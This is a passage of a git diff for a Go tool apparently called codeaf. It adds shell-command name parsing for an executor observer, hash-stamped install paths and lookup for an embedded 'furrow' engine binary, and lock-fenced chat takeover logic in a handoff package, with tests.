!isAssignment(word) { + out := append([]string(nil), words[i:]...) + out[0] = strings.Trim(out[0], `'"`) + return out + } + } + return nil +} + +// splitCommands cuts a line at ; & | ( ) and newlines that are not quoted or +// escaped. +func splitCommands(line string) []string { + var segments []string + var current strings.Builder + var quote rune + escaped := false + for _, r := range line { + switch { + case escaped: + escaped = false + case r == '\\' && quote != '\'': + escaped = true + case quote != 0: + if r == quote { + quote = 0 + } + case r == '\'' || r == '"': + quote = r + case strings.ContainsRune(";&|()\n", r): + segments = append(segments, current.String()) + current.Reset() + continue + } + current.WriteRune(r) + } + return append(segments, current.String()) +} + +func isAssignment(word string) bool { + name, _, found := strings.Cut(word, "=") + return found && name != "" && !strings.ContainsAny(name, `/'"$`) +} + +// Settle implements Settler: the seat beneath keeps the record. +func (w watched) Settle(ctx context.Context) { Settle(ctx, w.Seat) } diff --git a/internal/executor/watched_test.go b/internal/executor/watched_test.go new file mode 100644 index 0000000000..f85b070602 --- /dev/null +++ b/internal/executor/watched_test.go @@ -0,0 +1,139 @@ +package executor + +import ( + "context" + "encoding/json" + "errors" + "os/exec" + "reflect" + "syscall" + "testing" +) + +func TestCommandNamesAreTheFirstWordOfEachSimpleCommand(t *testing.T) { + cases := map[string][]string{ + "jq . a.json": {"jq"}, + "cd sub && make -j4 | tee out; ls": {"cd", "make", "tee", "ls"}, + "FOO=1 BAR=x node build.js": {"node"}, + `echo "a && b" ; 'python3' -c 'x;y'`: {"echo", "python3"}, + "(cd x; go test ./...)\nrg foo": {"cd", "go", "rg"}, + "": nil, + } + for line, want := range cases { + if got := commandNames(line); !reflect.DeepEqual(got, want) { + t.Errorf("%q: got %v, want %v", line, got, want) + } + } +} + +type sightings struct{ names []string } + +func (s *sightings) Observe(req ExecRequest, _ ExecResult) { s.names = append(s.names, req.Argv[0]) } + +type plainSeat struct{ Stance } + +func shellCall(command string) Call { + args, _ := json.Marshal(map[string]string{"command": command}) + return Call{Tool: "bash", Args: args} +} + +func TestAShellCallTellsTheObserverTheToolsItRan(t *testing.T) { + seen := &sightings{} + seat := Watching(plainSeat{}, seen) + if err := seat.Around(context.Background(), shellCall("jq . x | sort"), func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } + if want := []string{"jq", "sort"}; !reflect.DeepEqual(seen.names, want) { + t.Fatalf("observed %v, want %v", seen.names, want) + } + if err := ForSetup(seat).Around(context.Background(), shellCall("apt-get x"), func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } + if got := seen.names[len(seen.names)-1]; got != "apt-get" { + t.Fatalf("the setup form of the seat is not watched: %v", seen.names) + } +} + +func TestOnlyShellCallsAreReadForTools(t *testing.T) { + seen := &sightings{} + seat := Watching(plainSeat{}, seen) + call := shellCall("jq .") + call.Tool = "read" + _ = seat.Around(context.Background(), call, func() ([]byte, bool) { return nil, false }) + if len(seen.names) != 0 { + t.Fatalf("a %s call was read for tools: %v", call.Tool, seen.names) + } +} + +type refusingSeat struct{ Stance } + +func (refusingSeat) Around(context.Context, Call, func() ([]byte, bool)) error { + return errors.New("not run") +} + +func TestARefusedCallObservesNothing(t *testing.T) { + seen := &sightings{} + if err := Watching(refusingSeat{}, seen).Around(context.Background(), shellCall("jq ."), nil); err == nil { + t.Fatal("the seat's refusal was swallowed") + } + if len(seen.names) != 0 { + t.Fatalf("observed %v for a call that did not run", seen.names) + } +} + +type whole struct { + lines [][]string + exits []int +} + +func (w *whole) Observe(req ExecRequest, res ExecResult) { + w.lines = append(w.lines, req.Argv) + w.exits = append(w.exits, res.Exit) +} + +func TestAShellCallTellsTheObserverEachCommandWithAllItsWordsAndTheCallsOutcome(t *testing.T) { + seen := &whole{} + seat := Watching(plainSeat{}, seen) + run := func(failed bool) func() ([]byte, bool) { return func() ([]byte, bool) { return nil, failed } } + if err := seat.Around(context.Background(), shellCall("FOO=1 docker compose up -d && 'ls' -la"), run(false)); err != nil { + t.Fatal(err) + } + if err := seat.Around(context.Background(), shellCall("make"), run(true)); err != nil { + t.Fatal(err) + } + want := [][]string{{"docker", "compose", "up", "-d"}, {"ls", "-la"}, {"make"}} + if !reflect.DeepEqual(seen.lines, want) || !reflect.DeepEqual(seen.exits, []int{0, 0, 1}) { + t.Fatalf("observed %v with exits %v", seen.lines, seen.exits) + } +} + +// A shell tool starts its process through Command, so a server it leaves behind +// reaches the observer only through the groups the call reported starting. +func TestAShellCallTellsTheObserverWhatItLeftRunning(t *testing.T) { + var got []ExecResult + seat := Watching(plainSeat{}, observerFunc(func(_ ExecRequest, res ExecResult) { got = append(got, res) })) + ctx, spawns := WithSpawns(context.Background()) + call := shellCall("sleep 30 &") + call.Spawns = spawns + err := seat.Around(ctx, call, func() ([]byte, bool) { + cmd := exec.Command("sleep", "30") + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL); _ = cmd.Wait() }) + Spawned(ctx, cmd.Process.Pid) + return nil, false + }) + if err != nil { + t.Fatal(err) + } + last := got[len(got)-1] + if len(last.Services) != 1 || last.Services[0].Name != "sleep" { + t.Fatalf("the left-running sleep was not observed: %+v", got) + } +} + +type observerFunc func(ExecRequest, ExecResult) + +func (f observerFunc) Observe(req ExecRequest, res ExecResult) { f(req, res) } diff --git a/internal/furrow/furrow.go b/internal/furrow/furrow.go index 4f1944d7a9..331754ef45 100644 --- a/internal/furrow/furrow.go +++ b/internal/furrow/furrow.go @@ -277,6 +277,20 @@ var embedded = furrowbin.Ensure // road not taken, and if none of them answer the seam is absent exactly as it // always was. func lookBinary() (string, error) { + binary, err := lookOwned() + if errors.Is(err, errNoOwnedEngine) { + return exec.LookPath(Binary) + } + return binary, err +} + +// errNoOwnedEngine says neither CODEAF_FURROW nor the embedded copy answered. +var errNoOwnedEngine = errors.New("no engine of codeaf's own") + +// lookOwned is the first two roads of [lookBinary] and never PATH: the engine +// somebody named or the one this codeaf carries. A caller that depends on what +// the engine can do, and not merely on there being one, asks for this. +func lookOwned() (string, error) { if configured := strings.TrimSpace(env.Get(BinaryEnvVar)); configured != "" { info, err := os.Stat(configured) if err != nil { @@ -287,12 +301,22 @@ func lookBinary() (string, error) { } return configured, nil } - if carried, err := embedded(); err == nil { - return carried, nil + carried, err := embedded() + if err != nil { + return "", fmt.Errorf("%w: %v", errNoOwnedEngine, err) } - return exec.LookPath(Binary) + return carried, nil } +// ResolveBinary is the furrow program this codeaf would run, chosen by the same +// order as every other caller here, PATH included. +func ResolveBinary() (string, error) { return lookBinary() } + +// ResolveOwned is the furrow program that is codeaf's to vouch for: the +// configured one or the embedded one, never whatever PATH holds. It is the seam +// for packages that drive the engine themselves (internal/cellstore). +func ResolveOwned() (string, error) { return lookOwned() } + // Workspace is one attached folder, and the receiver every operation in this // package hangs off. Holding it is a claim that furrow was here and this folder // was attached at the moment [Open] asked, which is the strongest claim diff --git a/internal/furrowbin/cmd/fetch/main.go b/internal/furrowbin/cmd/fetch/main.go index 11044778d8..0153aa5022 100644 --- a/internal/furrowbin/cmd/fetch/main.go +++ b/internal/furrowbin/cmd/fetch/main.go @@ -8,6 +8,10 @@ // // go run ./internal/furrowbin/cmd/fetch // go run ./internal/furrowbin/cmd/fetch -from ~/.agentfield/bin/furrow +// go run ./internal/furrowbin/cmd/fetch -built engine/target/release/furrow +// +// -built stages a furrow compiled from engine/ in this tree. The tree is its +// own provenance, so nothing is checked against the pin. // // A build machine with no network is the case worth spelling out: -from takes // the artifact off local disk and checks it against the same pin, so an air @@ -40,6 +44,7 @@ func main() { var ( cache = flag.String("cache", filepath.Join("third_party", "furrow"), "where verified artifacts are kept between builds") stage = flag.String("stage", filepath.Join("internal", "furrowbin", "cache"), "the embedded folder to stage this platform's furrow into") + built = flag.String("built", "", "stage this furrow, compiled from engine/ in this tree, without consulting the pin") from = flag.String("from", "", "read the artifact from this local file instead of downloading it") goos = flag.String("goos", envOr("GOOS", runtime.GOOS), "the platform being built for") arch = flag.String("goarch", envOr("GOARCH", runtime.GOARCH), "the architecture being built for") @@ -47,6 +52,13 @@ func main() { flag.Parse() platform := furrowbin.Platform(*goos, *arch) + if *built != "" { + if err := stageBuilt(*stage, platform, *built); err != nil { + fmt.Fprintf(os.Stderr, "stage the built furrow: %v\n", err) + os.Exit(1) + } + return + } if err := fetch(furrowbin.ReadPin(), platform, *cache, *stage, *from); err != nil { fmt.Fprint(os.Stderr, refusal(furrowbin.ReadPin(), platform, err)) os.Exit(1) @@ -106,6 +118,15 @@ func fetch(pin furrowbin.Pin, platform, cache, stage, from string) error { return stageInto(stage, platform, binary) } +// stageBuilt stages a furrow compiled from this tree's engine/. +func stageBuilt(stage, platform, path string) error { + binary, err := os.ReadFile(path) + if err != nil { + return fmt.Errorf("read %s: %w", path, err) + } + return stageInto(stage, platform, binary) +} + // stageInto gzips the artifact into the embedded folder under its platform's // name, and removes any other platform's leftovers first. // diff --git a/internal/furrowbin/cmd/fetch/main_test.go b/internal/furrowbin/cmd/fetch/main_test.go index 6b4912fc93..23ecc3dd6d 100644 --- a/internal/furrowbin/cmd/fetch/main_test.go +++ b/internal/furrowbin/cmd/fetch/main_test.go @@ -248,3 +248,24 @@ func TestADownloadThatDidNotArriveIsAnErrorAndNotAnEmptyFile(t *testing.T) { t.Fatalf("downloaded %q; want the artifact", body) } } + +func TestABuiltArtifactIsStagedWithoutTheCacheOrThePin(t *testing.T) { + platform := furrowbin.Platform("linux", "arm64") + cache, stage := t.TempDir(), t.TempDir() + + if err := stageBuilt(stage, platform, artifactOn(t, "compiled from this tree")); err != nil { + t.Fatalf("stage a built artifact: %v", err) + } + if got := stagedBody(t, stage, platform); got != "compiled from this tree" { + t.Fatalf("staged %q; want the built bytes", got) + } + if entries, _ := os.ReadDir(cache); len(entries) != 0 { + t.Fatalf("a built artifact reached the pinned-release cache: %v", entries) + } +} + +func TestAMissingBuiltArtifactIsAnError(t *testing.T) { + if err := stageBuilt(t.TempDir(), "linux-arm64", filepath.Join(t.TempDir(), "absent")); err == nil { + t.Fatal("staging a file that does not exist succeeded") + } +} diff --git a/internal/furrowbin/furrowbin.go b/internal/furrowbin/furrowbin.go index 05f00f96ed..d1423b2e31 100644 --- a/internal/furrowbin/furrowbin.go +++ b/internal/furrowbin/furrowbin.go @@ -35,7 +35,9 @@ package furrowbin import ( "bytes" "compress/gzip" + "crypto/sha256" "embed" + "encoding/hex" "errors" "fmt" "io" @@ -83,22 +85,29 @@ func Embedded() bool { } var ( - ensureOnce sync.Once + ensureMu sync.Mutex ensurePath string - ensureErr error ) // Ensure puts the embedded furrow on disk if it is not already there and // returns the path to it. // -// It is memoised for the life of the process because it sits in front of belt -// construction, where it is asked once per session and would otherwise cost a -// stat each time; the first call in a fresh state root costs one decompression -// and one six-megabyte write, and every call after that on every later boot -// costs one stat. +// The answer is remembered for the life of the process because it sits in front +// of belt construction, where it is asked once per session, and the first call +// in a fresh state root costs one decompression and one six-megabyte write. A +// remembered path is only trusted while its file is still there: a state root +// that was cleaned or replaced under a long-lived process would otherwise leave +// every later seal spawning a program that no longer exists. The steady state +// is one stat. func Ensure() (string, error) { - ensureOnce.Do(func() { ensurePath, ensureErr = extract() }) - return ensurePath, ensureErr + ensureMu.Lock() + defer ensureMu.Unlock() + if ensurePath != "" && installed(ensurePath) { + return ensurePath, nil + } + path, err := extract() + ensurePath = path + return path, err } // extract is Ensure's one-time body: find the carried bytes, then put them @@ -116,14 +125,16 @@ func extract() (string, error) { // the real one has exactly one of — a fresh state root, a version already // there, an older version beside it, a root that cannot be written to. func extractInto(dir, version string, archive []byte) (string, error) { - // THE PATH IS STAMPED WITH THE VERSION, AND THAT IS WHAT MAKES REPLACING A - // RUNNING BINARY IMPOSSIBLE RATHER THAN CAREFUL. A codeaf that upgrades - // its pinned furrow writes a file with a new name; the old one keeps its - // inode and any furrow still running out of it keeps running. This repo has - // paid the other bill twice — a binary written over in place is a process - // killed with signal 9 on macOS the moment it next pages in — and the - // lesson generalises past codeaf's own binary to any binary it writes. - path := filepath.Join(dir, "furrow-"+version) + // THE PATH IS STAMPED WITH THE VERSION AND THE ARCHIVE'S HASH, AND THAT IS + // WHAT MAKES REPLACING A RUNNING BINARY IMPOSSIBLE RATHER THAN CAREFUL. A + // codeaf that carries a different furrow writes a file with a different + // name; the old one keeps its inode and any furrow still running out of it + // keeps running. This repo has paid the other bill twice — a binary written + // over in place is a process killed with signal 9 on macOS the moment it + // next pages in. The hash is what the version alone cannot say: furrow is + // built from source now and its version does not move with every change, so + // a machine holding furrow-0.1.0 would trust the old engine forever. + path := installPath(dir, version, archive) // One stat is the steady state. A file at this path is complete by // construction — it got there by rename, below, and a rename either @@ -131,7 +142,7 @@ func extractInto(dir, version string, archive []byte) (string, error) { // its executable bit are the whole check. Hashing six megabytes on every // boot to re-learn what the build already verified against the pin would // be paying twice for one fact. - if info, err := os.Stat(path); err == nil && info.Mode().IsRegular() && info.Mode().Perm()&0o111 != 0 && info.Size() > 0 { + if installed(path) { return path, nil } @@ -170,6 +181,29 @@ func extractInto(dir, version string, archive []byte) (string, error) { return path, nil } +// installed says the file at path is a complete furrow: an ordinary, +// executable, non-empty file. +func installed(path string) bool { + info, err := os.Stat(path) + return err == nil && info.Mode().IsRegular() && info.Mode().Perm()&0o111 != 0 && info.Size() > 0 +} + +// installPath is the one place the extracted file's name is decided: +// furrow--. The stamp is hashed from the embedded archive +// bytes, which Ensure reads once per process, never from the extracted file. +func installPath(dir, version string, archive []byte) string { + return filepath.Join(dir, "furrow-"+version+"-"+stamp(archive)) +} + +// stamp is the first twelve hex digits of the archive's sha256: enough that two +// engines never share a name, short enough to read in a directory listing. +func stamp(archive []byte) string { + sum := sha256.Sum256(archive) + return hex.EncodeToString(sum[:])[:stampLength] +} + +const stampLength = 12 + // decompress inflates the staged archive. It is a plain gzip stream of the // artifact's own bytes and nothing else — no container format, because there is // exactly one file in it and a format would be a second thing to keep in step. diff --git a/internal/furrowbin/furrowbin_test.go b/internal/furrowbin/furrowbin_test.go index 274fe5aecd..8d1bebbeeb 100644 --- a/internal/furrowbin/furrowbin_test.go +++ b/internal/furrowbin/furrowbin_test.go @@ -8,7 +8,6 @@ import ( "regexp" "runtime" "strings" - "sync" "testing" ) @@ -30,7 +29,7 @@ func TestAFreshStateRootGetsTheBinaryStampedWithItsVersion(t *testing.T) { if err != nil { t.Fatalf("extract into a fresh root: %v", err) } - if want := filepath.Join(dir, "furrow-1.2.3"); path != want { + if want := installPath(dir, "1.2.3", archiveOf(t, "I am furrow")); path != want { t.Fatalf("extracted to %s; want %s — the name carries the version or an upgrade overwrites a running binary", path, want) } @@ -64,7 +63,7 @@ func TestAFreshStateRootGetsTheBinaryStampedWithItsVersion(t *testing.T) { func TestTheVERSIONALREADYTHEREIsLeftExactlyAsItIs(t *testing.T) { dir := t.TempDir() - path := filepath.Join(dir, "furrow-1.2.3") + path := installPath(dir, "1.2.3", archiveOf(t, "different bytes entirely")) if err := os.WriteFile(path, []byte("the furrow that is already here"), 0o755); err != nil { t.Fatal(err) } @@ -163,7 +162,7 @@ func TestEnsureAgreesWithWhatThisBuildActuallyCarries(t *testing.T) { // branches on; a build after `make furrow` carries the real furrow and must // put it under the state root and nowhere else. t.Setenv("CODEAF_HOME", t.TempDir()) - ensureOnce = sync.Once{} + forgetEnsured() path, err := Ensure() if !Embedded() { @@ -175,8 +174,8 @@ func TestEnsureAgreesWithWhatThisBuildActuallyCarries(t *testing.T) { if err != nil { t.Fatalf("a build carrying furrow could not extract it: %v", err) } - if base := filepath.Base(path); base != "furrow-"+Version() { - t.Fatalf("extracted as %s; want furrow-%s, the version the pin names", base, Version()) + if base := filepath.Base(path); !strings.HasPrefix(base, "furrow-"+Version()+"-") { + t.Fatalf("extracted as %s; want furrow-%s-, the version the pin names", base, Version()) } info, err := os.Stat(path) if err != nil { @@ -187,6 +186,35 @@ func TestEnsureAgreesWithWhatThisBuildActuallyCarries(t *testing.T) { } } +// forgetEnsured drops the remembered path, the way a fresh process starts. +func forgetEnsured() { + ensureMu.Lock() + defer ensureMu.Unlock() + ensurePath = "" +} + +func TestEnsureReextractsWhenTheRememberedFileIsGone(t *testing.T) { + if !Embedded() { + t.Skip("this build carries no furrow") + } + t.Setenv("CODEAF_HOME", t.TempDir()) + forgetEnsured() + first, err := Ensure() + if err != nil { + t.Fatal(err) + } + if err := os.Remove(first); err != nil { + t.Fatal(err) + } + second, err := Ensure() + if err != nil { + t.Fatalf("a removed engine was not put back: %v", err) + } + if !installed(second) { + t.Fatalf("Ensure answered %s, which is not a runnable file", second) + } +} + func TestTheStagedNameIsThisMachinesAndNoOthers(t *testing.T) { // The whole reason the staged file carries a platform is that a cache left // over from a cross-compile must read as "nothing embedded" rather than as @@ -240,3 +268,57 @@ func TestThePinIsWholeAndIsTheOnlyPlaceTheVersionIsWritten(t *testing.T) { t.Fatal("a platform with no artifact answered happily; the build must refuse it by name") } } + +func TestDifferentArchivesExtractToDifferentPaths(t *testing.T) { + dir := t.TempDir() + old, err := extractInto(dir, "1.2.3", archiveOf(t, "old engine")) + if err != nil { + t.Fatal(err) + } + fresh, err := extractInto(dir, "1.2.3", archiveOf(t, "new engine")) + if err != nil { + t.Fatal(err) + } + if old == fresh { + t.Fatal("two engines with one version shared a path; the old one would run forever") + } + if body, _ := os.ReadFile(fresh); string(body) != "new engine" { + t.Fatalf("the new path holds %q", body) + } +} + +func TestTheSameArchiveTwiceIsNotRewritten(t *testing.T) { + dir := t.TempDir() + archive := archiveOf(t, "one engine") + path, err := extractInto(dir, "1.2.3", archive) + if err != nil { + t.Fatal(err) + } + before, _ := os.Stat(path) + again, err := extractInto(dir, "1.2.3", archive) + if err != nil || again != path { + t.Fatalf("second extract gave %q, %v; want %q", again, err, path) + } + after, _ := os.Stat(path) + if !os.SameFile(before, after) || !before.ModTime().Equal(after.ModTime()) { + t.Fatal("the same archive was written twice") + } +} + +func TestAStaleFileAtTheUnstampedNameIsIgnored(t *testing.T) { + dir := t.TempDir() + stale := filepath.Join(dir, "furrow-1.2.3") + if err := os.WriteFile(stale, []byte("old engine"), 0o755); err != nil { + t.Fatal(err) + } + path, err := extractInto(dir, "1.2.3", archiveOf(t, "new engine")) + if err != nil { + t.Fatal(err) + } + if path == stale { + t.Fatal("the stale unstamped furrow was trusted") + } + if body, _ := os.ReadFile(path); string(body) != "new engine" { + t.Fatalf("ran %q; want the embedded engine", body) + } +} diff --git a/internal/handoff/arrival.go b/internal/handoff/arrival.go new file mode 100644 index 0000000000..a20a47ccd9 --- /dev/null +++ b/internal/handoff/arrival.go @@ -0,0 +1,59 @@ +package handoff + +import ( + "os" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/filelock" +) + +// arrivalOf is the file a takeover holds a lock on while the chat at root is on +// its way here. It sits beside the root and not inside it, because the root is +// replaced whole by the takeover. +func arrivalOf(root string) string { return root + ".arriving" } + +// Arrive says the chat at root is being taken over on this machine, until the +// returned release runs. It is what keeps a window from opening the chat in the +// middle of its own takeover: a session booted then reads the journal as it was +// before the swap and keeps writing to the folder that is about to be replaced, +// and the window the person lands in is bound to a chat that has already moved +// on (every tool call refused as `continued elsewhere`, no turn saved). +// +// THE CLAIM IS A LOCK AND NOT A MARKER FILE, so a takeover that dies leaves +// nothing behind: the kernel drops the lock with the process, and the chat opens +// again without anyone cleaning up. A claim that cannot be made says nothing +// stops the takeover; it only runs without the fence, as it did before. +func Arrive(root string) (release func()) { + path := arrivalOf(root) + if os.MkdirAll(filepath.Dir(path), 0o700) != nil { + return func() {} + } + file, err := os.OpenFile(path, os.O_CREATE|os.O_RDWR, 0o600) + if err != nil { + return func() {} + } + if filelock.Lock(file, true, true) != nil { + _ = file.Close() + return func() {} + } + return func() { + _ = os.Remove(path) + _ = filelock.Unlock(file) + _ = file.Close() + } +} + +// Arriving says a takeover of the chat at root is running now, in this process +// or another one. It is asked by whatever opens a session on the chat. +func Arriving(root string) bool { + file, err := os.Open(arrivalOf(root)) + if err != nil { + return false + } + defer file.Close() + if err := filelock.Lock(file, true, true); err != nil { + return filelock.IsBusy(err) + } + _ = filelock.Unlock(file) + return false +} diff --git a/internal/handoff/arrival_test.go b/internal/handoff/arrival_test.go new file mode 100644 index 0000000000..6c7ef468ac --- /dev/null +++ b/internal/handoff/arrival_test.go @@ -0,0 +1,33 @@ +package handoff + +import ( + "os" + "path/filepath" + "testing" +) + +func TestAChatArrivesOnlyWhileATakeoverHoldsIt(t *testing.T) { + root := filepath.Join(t.TempDir(), "chat") + if Arriving(root) { + t.Fatal("a chat nobody is taking is arriving") + } + release := Arrive(root) + if !Arriving(root) { + t.Fatal("a chat being taken is not arriving") + } + release() + if Arriving(root) { + t.Fatal("a chat whose takeover ended is still arriving") + } +} + +// A takeover that died leaves its file but not its lock, so the chat opens. +func TestAFileLeftByADeadTakeoverFencesNothing(t *testing.T) { + root := filepath.Join(t.TempDir(), "chat") + if err := os.WriteFile(arrivalOf(root), nil, 0o600); err != nil { + t.Fatal(err) + } + if Arriving(root) { + t.Fatal("a file with no lock on it fences the chat") + } +} diff --git a/internal/handoff/handoff.go b/internal/handoff/handoff.go new file mode 100644 index 0000000000..fc39f62696 --- /dev/null +++ b/internal/handoff/handoff.go @@ -0,0 +1,287 @@ +// Package handoff is the takeover: one device continues a chat another device +// was driving. Its one promise is that a takeover never destroys work: local +// edits that were never sealed are sealed and kept in a branch before anything +// is fetched, a lease is taken only once everything it needs is on disk, and +// the fetched tree reaches the chat's root only once the lease is held, so a +// lost race leaves nothing behind. +package handoff + +import ( + "context" + "errors" + "fmt" + "os" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellsync" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// Fetch brings a head and everything it needs onto this device. +type Fetch interface { + // Fetch completes head in the store and restores it into c's tree. + Fetch(ctx context.Context, c cell.Cell, head string) error // *cellsync.Fetcher + // Complete is Fetch without the restore: the store holds everything head + // needs and no tree is touched. + Complete(ctx context.Context, c cell.Cell, head string) error +} + +// Local is what the taking device knows about a copy of the cell it already +// has on disk (A taking a chat back from B, or a workspace the person owns). +type Local interface { + // Dirty says whether the tree differs from the local head. + Dirty(ctx context.Context, c cell.Cell) (bool, error) + // Seal seals the tree as a local turn. + Seal(ctx context.Context, c cell.Cell) (head string, turns uint32, err error) + // Follow says the tree restored at from was moved to be the tree of to. The + // engine knows a tree by its path, so a tree moved into place unannounced + // is one it has never heard of, and cannot tell whether it holds edits. + Follow(ctx context.Context, from, to cell.Cell) error +} + +// Taker continues a chat on this device. +type Taker struct { + Dir directory.Client + Fetch Fetch + Local Local + // Branch turns sealed local work into a cell of its own; it is + // cellsync.Brancher.Branch, which uploads the head's objects first. Its + // Brancher must run with Map nil: the chat being taken keeps its id, and + // only the kept edits live in the branch, so no old-id to new-id mapping + // may be recorded. + Branch func(ctx context.Context, from *cellsync.Driving, head string, turns uint32) (string, error) + // InPlace says the tree of the chat at c's root is a folder the person owns + // (their project), which is never renamed or replaced: editors and git hold + // it open. Such a chat gets the fetched head restored into the folder where + // it stands, after the lease is ours. Nil, or false, is a chat that lives in + // a copy, which is replaced whole. + InPlace func(c cell.Cell) bool + // RootFor is where this device keeps the cell. The takeover materializes + // beside it and moves the result into place once the lease is held. + RootFor func(id string) string + // After hooks run in order once the tree is on disk, for example + // vaultsync.Inject. Each may refuse the takeover. + After []func(ctx context.Context, c cell.Cell) error +} + +// Taken is a chat this device now drives. +type Taken struct { + Cell cell.Cell + Driving cellsync.Driving + // Kept is the id of the branch holding local edits, "" when there were none. + Kept string +} + +// Take makes this device the driver of chat id. The order is fixed: the +// directory's record, then keep local edits, then fetch into a staging folder, +// then the lease, then (only if the head moved meanwhile) one more fetch, then +// the staging folder becomes the root, then the After hooks, then open. Fetch +// precedes acquire, so a failed fetch never takes a lease, and the root +// changes only after the acquire, so a lost race (directory.ErrLeaseHeld) +// leaves nothing on disk beyond the kept branch. A person who chose to continue +// a chat that was running elsewhere has chosen to displace its holder, so that +// lease is taken by force; a holder that appears meanwhile is a lost race. +func (t Taker) Take(ctx context.Context, id string) (Taken, error) { + view, err := t.Dir.Cell(ctx, id) + if err != nil { + return Taken{}, fmt.Errorf("handoff: read chat %s: %w", id, err) + } + c := cell.Cell{ID: id, Root: t.RootFor(id)} + kept, err := t.keepLocal(ctx, c, view.Cell.Head, view.Cell.Frames) + if err != nil { + return Taken{}, err + } + head, fence, plan, err := t.claim(ctx, c, view.Cell.Head, displacing(view)) + if err != nil { + return Taken{}, err + } + opened, err := t.open(ctx, c, fence) + if err != nil { + return Taken{}, err + } + // The plan is the acquired record's: the record read before the claim can + // trail a publish that landed during the fetch, and the next publish + // replaces the plan wholesale (contract §22.2). + return Taken{Cell: opened, Driving: cellsync.Driving{Cell: opened, Fence: fence, Head: head, Frames: plan}, Kept: kept}, nil +} + +// displacing is the acquire the person's choice covers: they saw the chat's +// lease held by a live holder, so they may take it from that holder, and only +// from that one. +func displacing(v directory.CellView) directory.AcquireOpts { + return directory.AcquireOpts{Force: v.Cell.Lease.Expires > v.Now} +} + +// keepLocal seals unsealed local work onto a branch before any fetch. It +// answers the branch id, or "" when the root is absent or clean. The +// branch's Driving starts from the parent record's plan: the branch head's +// closure is the parent's plus the orphan turns, whose frames the branch's +// own upload adds. +func (t Taker) keepLocal(ctx context.Context, c cell.Cell, parentHead string, plan []string) (string, error) { + if !exists(c.Root) { + return "", nil + } + dirty, err := t.Local.Dirty(ctx, c) + if err != nil || !dirty { + return "", err + } + head, turns, err := t.Local.Seal(ctx, c) + if err != nil { + return "", fmt.Errorf("handoff: seal local edits of %s: %w", c.ID, err) + } + from := &cellsync.Driving{Cell: c, Head: parentHead, Frames: plan} + kept, err := t.Branch(ctx, from, head, turns) + if err != nil { + return "", fmt.Errorf("handoff: keep local edits of %s: %w", c.ID, err) + } + return kept, nil +} + +// claim fetches head into the staging folder, takes the lease, fetches again +// if the head moved while the fetch ran, and only then puts the staging folder +// in place of c's root. It answers the head that is on disk and the fence. The +// staging folder never outlives a failed claim. +func (t Taker) claim(ctx context.Context, c cell.Cell, head string, how directory.AcquireOpts) (string, uint64, []string, error) { + stage := cell.Cell{ID: c.ID, Root: stagingOf(c.Root)} + head, fence, plan, err := t.fetchAndAcquire(ctx, stage, c.Root, head, how) + if err == nil { + if err = t.install(ctx, stage, c, head); err != nil { + err = t.giveBack(ctx, c.ID, fence, fmt.Errorf("handoff: put %s in place: %w", c.ID, err)) + } + } + if err != nil { + return "", 0, nil, errors.Join(err, os.RemoveAll(stage.Root)) + } + return head, fence, plan, nil +} + +// fetchAndAcquire is the part of a claim that touches only the store, the +// staging folder and the directory. A chat in a copy is fetched into the +// staging folder, which starts as a copy of the tree this device already holds +// at from, so the fetch writes only the paths the new head changed; with +// nothing at from it starts empty. A chat in the person's own folder is only +// completed in the store: it is restored where it stands once the lease is +// ours, so a staged restore would be a second whole-tree restore that is made +// and thrown away. It answers the plan of the record the device actually +// acquired: another device may have published while the fetch ran, and the +// next publish replaces the record's plan wholesale, so seeding from the +// record read before the claim would carry the stale one (contract §22.2). +func (t Taker) fetchAndAcquire(ctx context.Context, stage cell.Cell, from, head string, how directory.AcquireOpts) (string, uint64, []string, error) { + inPlace := t.InPlace != nil && t.InPlace(cell.Cell{ID: stage.ID, Root: from}) + if !inPlace { + if err := freshDir(stage.Root); err != nil { + return "", 0, nil, fmt.Errorf("handoff: prepare %s: %w", stage.ID, err) + } + seedFrom(from, stage.Root) + } + if err := t.bring(ctx, stage, inPlace, head); err != nil { + return "", 0, nil, fmt.Errorf("handoff: fetch %s: %w", short(head), err) + } + got, err := t.Dir.Acquire(ctx, stage.ID, how) + if err != nil { + return "", 0, nil, fmt.Errorf("handoff: take %s: %w", stage.ID, err) + } + if got.Cell.Head != head { + head = got.Cell.Head + if err := t.bring(ctx, stage, inPlace, head); err != nil { + return "", 0, nil, t.giveBack(ctx, stage.ID, got.Cell.Lease.Fence, fmt.Errorf("handoff: fetch %s: %w", short(head), err)) + } + } + return head, got.Cell.Lease.Fence, got.Cell.Frames, nil +} + +// bring puts head where the claim restores it from: in the store alone for a +// folder the person owns, else also in the staging folder. +func (t Taker) bring(ctx context.Context, stage cell.Cell, inPlace bool, head string) error { + if inPlace { + return t.Fetch.Complete(ctx, stage, head) + } + return t.Fetch.Fetch(ctx, stage, head) +} + +// stagingOf is the folder a takeover materializes into: beside the root, so +// the final move is a rename on one filesystem. +func stagingOf(root string) string { return root + ".taking" } + +// freshDir makes dir exist and be empty, whatever a crashed takeover left. +func freshDir(dir string) error { + if err := os.RemoveAll(dir); err != nil { + return err + } + return os.MkdirAll(dir, 0o700) +} + +// install makes the fetched head the chat's tree. A folder the person owns is +// restored in place: everything it needs is already in the store from the +// staging fetch, so this is only the engine's restore to that tree, and the +// staging folder is dropped. A copy is replaced by the staging folder. +func (t Taker) install(ctx context.Context, stage, c cell.Cell, head string) error { + if t.InPlace == nil || !t.InPlace(c) { + return t.replace(ctx, stage, c) + } + if err := t.Fetch.Fetch(ctx, c, head); err != nil { + return err + } + return os.RemoveAll(stage.Root) +} + +// replace puts the staging folder in place of c's root and tells the engine the +// tree moved, so a chat that is taken again before it is ever opened is still +// known to the engine. +func (t Taker) replace(ctx context.Context, stage, c cell.Cell) error { + if err := swap(stage.Root, c.Root); err != nil { + return err + } + return t.Local.Follow(ctx, stage, c) +} + +// swap puts stage in place of root. What was at root is sealed in the store +// (any unsealed edit went to a branch first), so it is set aside for the move +// and removed once the new root is in place; a failed move puts it back. +func swap(stage, root string) error { + aside := root + ".replaced" + if err := os.RemoveAll(aside); err != nil { + return err + } + had := 